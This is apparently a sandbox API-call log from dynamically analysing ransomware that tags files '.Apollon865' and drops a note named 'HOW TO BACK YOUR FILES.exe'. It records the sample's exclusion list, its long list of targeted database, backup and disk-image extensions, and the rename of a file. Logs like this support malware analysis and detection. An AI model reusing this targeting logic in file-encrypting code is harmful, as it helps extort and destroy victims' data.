	[0081.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0081.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0081.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0081.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0081.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0081.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0081.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0081.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0081.317] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0081.317] CloseHandle (hObject=0x15c) returned 1
	[0081.317] CloseHandle (hObject=0x9c) returned 1
	[0081.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0081.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0081.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0081.317] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62875600, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62875600, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="ONINTL~2.TRX")) returned 1
	[0081.317] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".") returned 1
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="..") returned 1
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="windows") returned -1
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="bootmgr") returned 1
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="temp") returned -1
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="pagefile.sys") returned -1
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="boot") returned 1
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="ids.txt") returned 1
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="ntuser.dat") returned 1
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="perflogs") returned -1
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="MSBuild") returned 1
	[0081.318] lstrlenW (lpString="ONINTL.REST.trx_dll") returned 19
	[0081.318] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll") returned 70
	[0081.318] lstrcpyW (in: lpString1=0x119e670, lpString2="ONINTL.REST.trx_dll" | out: lpString1="ONINTL.REST.trx_dll") returned="ONINTL.REST.trx_dll"
	[0081.318] lstrlenW (lpString="ONINTL.REST.trx_dll") returned 19
	[0081.318] lstrlenW (lpString="Apollon865") returned 10
	[0081.318] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0081.318] lstrlenW (lpString=".dll") returned 4
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0081.318] lstrlenW (lpString=".lnk") returned 4
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0081.318] lstrlenW (lpString=".ini") returned 4
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0081.318] lstrlenW (lpString=".sys") returned 4
	[0081.318] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0081.318] lstrlenW (lpString="ONINTL.REST.trx_dll") returned 19
	[0081.318] lstrlenW (lpString="bak") returned 3
	[0081.318] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0081.318] lstrlenW (lpString="ba_") returned 3
	[0081.318] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0081.318] lstrlenW (lpString="dbb") returned 3
	[0081.318] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0081.318] lstrlenW (lpString="vmdk") returned 4
	[0081.319] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0081.319] lstrlenW (lpString="rar") returned 3
	[0081.319] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0081.319] lstrlenW (lpString="zip") returned 3
	[0081.319] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0081.319] lstrlenW (lpString="tgz") returned 3
	[0081.319] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0081.319] lstrlenW (lpString="vbox") returned 4
	[0081.319] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0081.319] lstrlenW (lpString="vdi") returned 3
	[0081.319] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0081.319] lstrlenW (lpString="vhd") returned 3
	[0081.319] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0081.319] lstrlenW (lpString="vhdx") returned 4
	[0081.319] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0081.319] lstrlenW (lpString="avhd") returned 4
	[0081.319] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0081.319] lstrlenW (lpString="db") returned 2
	[0081.319] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0081.319] lstrlenW (lpString="db2") returned 3
	[0081.319] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0081.319] lstrlenW (lpString="db3") returned 3
	[0081.319] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0081.319] lstrlenW (lpString="dbf") returned 3
	[0081.319] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0081.319] lstrlenW (lpString="mdf") returned 3
	[0081.319] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0081.319] lstrlenW (lpString="mdb") returned 3
	[0081.319] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0081.319] lstrlenW (lpString="sql") returned 3
	[0081.319] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0081.319] lstrlenW (lpString="sqlite") returned 6
	[0081.319] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0081.319] lstrlenW (lpString="sqlite3") returned 7
	[0081.319] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0081.319] lstrlenW (lpString="sqlitedb") returned 8
	[0081.319] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0081.320] lstrlenW (lpString="xml") returned 3
	[0081.320] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0081.320] lstrlenW (lpString="$er") returned 3
	[0081.320] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0081.320] lstrlenW (lpString="4dd") returned 3
	[0081.320] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0081.320] lstrlenW (lpString="4dl") returned 3
	[0081.320] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0081.320] lstrlenW (lpString="^^^") returned 3
	[0081.320] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0081.320] lstrlenW (lpString="abs") returned 3
	[0081.320] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0081.320] lstrlenW (lpString="abx") returned 3
	[0081.320] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0081.320] lstrlenW (lpString="accdb") returned 5
	[0081.320] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0081.320] lstrlenW (lpString="accdc") returned 5
	[0081.320] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0081.320] lstrlenW (lpString="accde") returned 5
	[0081.320] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0081.320] lstrlenW (lpString="accdr") returned 5
	[0081.320] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0081.320] lstrlenW (lpString="accdt") returned 5
	[0081.320] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0081.320] lstrlenW (lpString="accdw") returned 5
	[0081.320] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0081.320] lstrlenW (lpString="accft") returned 5
	[0081.320] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0081.320] lstrlenW (lpString="adb") returned 3
	[0081.320] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.320] lstrlenW (lpString="adb") returned 3
	[0081.320] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.320] lstrlenW (lpString="ade") returned 3
	[0081.320] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0081.320] lstrlenW (lpString="adf") returned 3
	[0081.320] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0081.321] lstrlenW (lpString="adn") returned 3
	[0081.321] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0081.321] lstrlenW (lpString="adp") returned 3
	[0081.321] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0081.321] lstrlenW (lpString="alf") returned 3
	[0081.321] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0081.321] lstrlenW (lpString="ask") returned 3
	[0081.321] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0081.321] lstrlenW (lpString="btr") returned 3
	[0081.321] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0081.321] lstrlenW (lpString="cat") returned 3
	[0081.321] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0081.321] lstrlenW (lpString="cdb") returned 3
	[0081.321] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0081.321] lstrlenW (lpString="ckp") returned 3
	[0081.321] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0081.321] lstrlenW (lpString="cma") returned 3
	[0081.321] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0081.321] lstrlenW (lpString="cpd") returned 3
	[0081.321] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0081.321] lstrlenW (lpString="dacpac") returned 6
	[0081.321] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0081.321] lstrlenW (lpString="dad") returned 3
	[0081.321] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0081.321] lstrlenW (lpString="dadiagrams") returned 10
	[0081.321] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0081.321] lstrlenW (lpString="daschema") returned 8
	[0081.321] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0081.321] lstrlenW (lpString="db-journal") returned 10
	[0081.321] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0081.321] lstrlenW (lpString="db-shm") returned 6
	[0081.321] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0081.321] lstrlenW (lpString="db-wal") returned 6
	[0081.321] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0081.321] lstrlenW (lpString="dbc") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0081.322] lstrlenW (lpString="dbs") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0081.322] lstrlenW (lpString="dbt") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0081.322] lstrlenW (lpString="dbv") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0081.322] lstrlenW (lpString="dbx") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0081.322] lstrlenW (lpString="dcb") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0081.322] lstrlenW (lpString="dct") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0081.322] lstrlenW (lpString="dcx") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0081.322] lstrlenW (lpString="ddl") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0081.322] lstrlenW (lpString="dlis") returned 4
	[0081.322] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0081.322] lstrlenW (lpString="dp1") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0081.322] lstrlenW (lpString="dqy") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0081.322] lstrlenW (lpString="dsk") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0081.322] lstrlenW (lpString="dsn") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0081.322] lstrlenW (lpString="dtsx") returned 4
	[0081.322] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0081.322] lstrlenW (lpString="dxl") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0081.322] lstrlenW (lpString="eco") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0081.322] lstrlenW (lpString="ecx") returned 3
	[0081.322] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0081.323] lstrlenW (lpString="edb") returned 3
	[0081.323] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0081.323] lstrlenW (lpString="epim") returned 4
	[0081.323] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0081.323] lstrlenW (lpString="fcd") returned 3
	[0081.323] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0081.323] lstrlenW (lpString="fdb") returned 3
	[0081.323] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0081.323] lstrlenW (lpString="fic") returned 3
	[0081.323] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0081.323] lstrlenW (lpString="flexolibrary") returned 12
	[0081.323] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0081.323] lstrlenW (lpString="fm5") returned 3
	[0081.323] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0081.323] lstrlenW (lpString="fmp") returned 3
	[0081.323] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0081.323] lstrlenW (lpString="fmp12") returned 5
	[0081.323] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0081.323] lstrlenW (lpString="fmpsl") returned 5
	[0081.323] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0081.323] lstrlenW (lpString="fol") returned 3
	[0081.323] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0081.323] lstrlenW (lpString="fp3") returned 3
	[0081.323] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0081.323] lstrlenW (lpString="fp4") returned 3
	[0081.323] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0081.323] lstrlenW (lpString="fp5") returned 3
	[0081.323] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0081.323] lstrlenW (lpString="fp7") returned 3
	[0081.323] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0081.323] lstrlenW (lpString="fpt") returned 3
	[0081.323] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0081.323] lstrlenW (lpString="frm") returned 3
	[0081.323] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0081.323] lstrlenW (lpString="gdb") returned 3
	[0081.324] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.324] lstrlenW (lpString="gdb") returned 3
	[0081.324] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.324] lstrlenW (lpString="grdb") returned 4
	[0081.324] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0081.324] lstrlenW (lpString="gwi") returned 3
	[0081.324] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0081.324] lstrlenW (lpString="hdb") returned 3
	[0081.324] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0081.324] lstrlenW (lpString="his") returned 3
	[0081.324] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0081.324] lstrlenW (lpString="ib") returned 2
	[0081.324] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0081.324] lstrlenW (lpString="idb") returned 3
	[0081.324] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0081.324] lstrlenW (lpString="ihx") returned 3
	[0081.324] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0081.324] lstrlenW (lpString="itdb") returned 4
	[0081.324] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0081.324] lstrlenW (lpString="itw") returned 3
	[0081.324] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0081.324] lstrlenW (lpString="jet") returned 3
	[0081.324] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0081.324] lstrlenW (lpString="jtx") returned 3
	[0081.324] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0081.324] lstrlenW (lpString="kdb") returned 3
	[0081.324] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0081.324] lstrlenW (lpString="kexi") returned 4
	[0081.324] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0081.324] lstrlenW (lpString="kexic") returned 5
	[0081.324] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0081.324] lstrlenW (lpString="kexis") returned 5
	[0081.324] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0081.324] lstrlenW (lpString="lgc") returned 3
	[0081.324] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0081.324] lstrlenW (lpString="lwx") returned 3
	[0081.324] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0081.325] lstrlenW (lpString="maf") returned 3
	[0081.325] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0081.325] lstrlenW (lpString="maq") returned 3
	[0081.325] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0081.325] lstrlenW (lpString="mar") returned 3
	[0081.325] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0081.325] lstrlenW (lpString="marshal") returned 7
	[0081.325] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0081.325] lstrlenW (lpString="mas") returned 3
	[0081.325] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0081.325] lstrlenW (lpString="mav") returned 3
	[0081.325] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0081.325] lstrlenW (lpString="maw") returned 3
	[0081.325] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0081.325] lstrlenW (lpString="mdbhtml") returned 7
	[0081.325] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0081.325] lstrlenW (lpString="mdn") returned 3
	[0081.325] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0081.325] lstrlenW (lpString="mdt") returned 3
	[0081.325] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0081.325] lstrlenW (lpString="mfd") returned 3
	[0081.325] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0081.325] lstrlenW (lpString="mpd") returned 3
	[0081.325] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0081.325] lstrlenW (lpString="mrg") returned 3
	[0081.325] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0081.325] lstrlenW (lpString="mud") returned 3
	[0081.325] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0081.325] lstrlenW (lpString="mwb") returned 3
	[0081.325] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0081.325] lstrlenW (lpString="myd") returned 3
	[0081.325] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0081.325] lstrlenW (lpString="ndf") returned 3
	[0081.325] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0081.325] lstrlenW (lpString="nnt") returned 3
	[0081.326] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0081.326] lstrlenW (lpString="nrmlib") returned 6
	[0081.326] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0081.326] lstrlenW (lpString="ns2") returned 3
	[0081.326] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0081.326] lstrlenW (lpString="ns3") returned 3
	[0081.326] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0081.326] lstrlenW (lpString="ns4") returned 3
	[0081.326] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0081.326] lstrlenW (lpString="nsf") returned 3
	[0081.326] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0081.326] lstrlenW (lpString="nv") returned 2
	[0081.326] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0081.326] lstrlenW (lpString="nv2") returned 3
	[0081.326] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0081.326] lstrlenW (lpString="nwdb") returned 4
	[0081.326] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0081.326] lstrlenW (lpString="nyf") returned 3
	[0081.326] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0081.326] lstrlenW (lpString="odb") returned 3
	[0081.326] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.326] lstrlenW (lpString="odb") returned 3
	[0081.326] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.326] lstrlenW (lpString="oqy") returned 3
	[0081.326] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0081.326] lstrlenW (lpString="ora") returned 3
	[0081.326] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0081.326] lstrlenW (lpString="orx") returned 3
	[0081.326] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0081.326] lstrlenW (lpString="owc") returned 3
	[0081.326] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0081.326] lstrlenW (lpString="p96") returned 3
	[0081.326] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0081.326] lstrlenW (lpString="p97") returned 3
	[0081.326] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0081.327] lstrlenW (lpString="pan") returned 3
	[0081.327] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0081.327] lstrlenW (lpString="pdb") returned 3
	[0081.327] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0081.327] lstrlenW (lpString="pdm") returned 3
	[0081.327] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0081.327] lstrlenW (lpString="pnz") returned 3
	[0081.327] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0081.327] lstrlenW (lpString="qry") returned 3
	[0081.327] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0081.327] lstrlenW (lpString="qvd") returned 3
	[0081.327] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0081.327] lstrlenW (lpString="rbf") returned 3
	[0081.327] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0081.327] lstrlenW (lpString="rctd") returned 4
	[0081.327] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0081.327] lstrlenW (lpString="rod") returned 3
	[0081.327] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0081.327] lstrlenW (lpString="rodx") returned 4
	[0081.327] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0081.327] lstrlenW (lpString="rpd") returned 3
	[0081.327] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0081.327] lstrlenW (lpString="rsd") returned 3
	[0081.327] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0081.327] lstrlenW (lpString="sas7bdat") returned 8
	[0081.327] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0081.327] lstrlenW (lpString="sbf") returned 3
	[0081.327] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0081.327] lstrlenW (lpString="scx") returned 3
	[0081.327] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0081.327] lstrlenW (lpString="sdb") returned 3
	[0081.327] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0081.327] lstrlenW (lpString="sdc") returned 3
	[0081.327] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0081.327] lstrlenW (lpString="sdf") returned 3
	[0081.327] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0081.328] lstrlenW (lpString="sis") returned 3
	[0081.328] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0081.328] lstrlenW (lpString="spq") returned 3
	[0081.328] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0081.328] lstrlenW (lpString="te") returned 2
	[0081.328] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0081.328] lstrlenW (lpString="teacher") returned 7
	[0081.328] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0081.328] lstrlenW (lpString="tmd") returned 3
	[0081.328] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0081.328] lstrlenW (lpString="tps") returned 3
	[0081.328] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0081.328] lstrlenW (lpString="trc") returned 3
	[0081.328] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.328] lstrlenW (lpString="trc") returned 3
	[0081.328] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.328] lstrlenW (lpString="trm") returned 3
	[0081.328] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0081.328] lstrlenW (lpString="udb") returned 3
	[0081.328] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0081.328] lstrlenW (lpString="udl") returned 3
	[0081.328] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0081.328] lstrlenW (lpString="usr") returned 3
	[0081.328] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0081.328] lstrlenW (lpString="v12") returned 3
	[0081.328] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0081.328] lstrlenW (lpString="vis") returned 3
	[0081.328] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0081.328] lstrlenW (lpString="vpd") returned 3
	[0081.328] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0081.328] lstrlenW (lpString="vvv") returned 3
	[0081.328] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0081.328] lstrlenW (lpString="wdb") returned 3
	[0081.328] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0081.328] lstrlenW (lpString="wmdb") returned 4
	[0081.328] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0081.328] lstrlenW (lpString="wrk") returned 3
	[0081.329] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0081.329] lstrlenW (lpString="xdb") returned 3
	[0081.329] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0081.329] lstrlenW (lpString="xld") returned 3
	[0081.329] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0081.329] lstrlenW (lpString="xmlff") returned 5
	[0081.329] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0081.329] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll.Apollon865") returned 82
	[0081.329] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
